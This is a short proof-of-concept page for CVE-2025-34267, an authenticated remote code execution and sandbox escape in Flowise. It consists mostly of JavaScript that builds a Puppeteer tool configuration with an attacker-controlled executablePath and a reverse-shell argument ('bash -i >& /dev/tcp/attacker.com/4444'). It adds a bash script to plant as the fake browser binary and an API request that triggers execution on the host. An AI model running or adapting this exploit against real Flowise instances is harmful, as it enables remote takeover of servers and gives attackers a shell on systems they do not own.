CVE-2025-34267：Flowise认证远程代码执行及沙箱逃逸漏洞

// PoC for CVE-2025-34267 - Flowise RCE via Puppeteer/Playwright Sandbox Escape // Prerequisites: // 1. Valid low-privilege credentials to Flowise instance // 2. ALLOW_BUILTIN_DEP environment variable must be enabled // 3. Ability to create/modify a tool that uses Puppeteer or Playwright // Step 1: Create a malicious tool configuration in Flowise // The attacker crafts a tool node that invokes Puppeteer with attacker-controlled // executablePath and args parameters to escape the nodevm sandbox. const maliciousToolConfig = { name: "BrowserAutomation", type: "Puppeteer", // Attacker-controlled browser binary path - points to a malicious script executablePath: "/tmp/malicious_binary", // Malicious arguments that will be passed to the binary args: [ "--no-sandbox", "--disable-setuid-sandbox", // Reverse shell payload as argument "/bin/bash", "-c", "bash -i >& /dev/tcp/attacker.com/4444 0>&1" ], headless: false, // Additional options to ensure execution options: { dumpio: true, pipe: true } }; // Step 2: The malicious binary that will be executed on the host // Save this as /tmp/malicious_binary and chmod +x it // #!/bin/bash // bash -c 'bash -i >& /dev/tcp/attacker.com/4444 0>&1' // Step 3: Trigger the tool execution via Flowise API // POST /api/v1/prediction/{chatflowid} const exploitRequest = { question: "Execute browser automation", overrideConfig: { customTool: maliciousToolConfig } }; // When Flowise processes this tool, Puppeteer will attempt to launch // the attacker-controlled executablePath, executing arbitrary code // on the host system, completely bypassing the nodevm sandbox. console.log("Exploit payload prepared. Send exploitRequest to Flowise API endpoint."); console.log("Ensure /tmp/malicious_binary exists on target with reverse shell payload."); console.log("Listen on attacker.com:4444 for incoming shell connection.");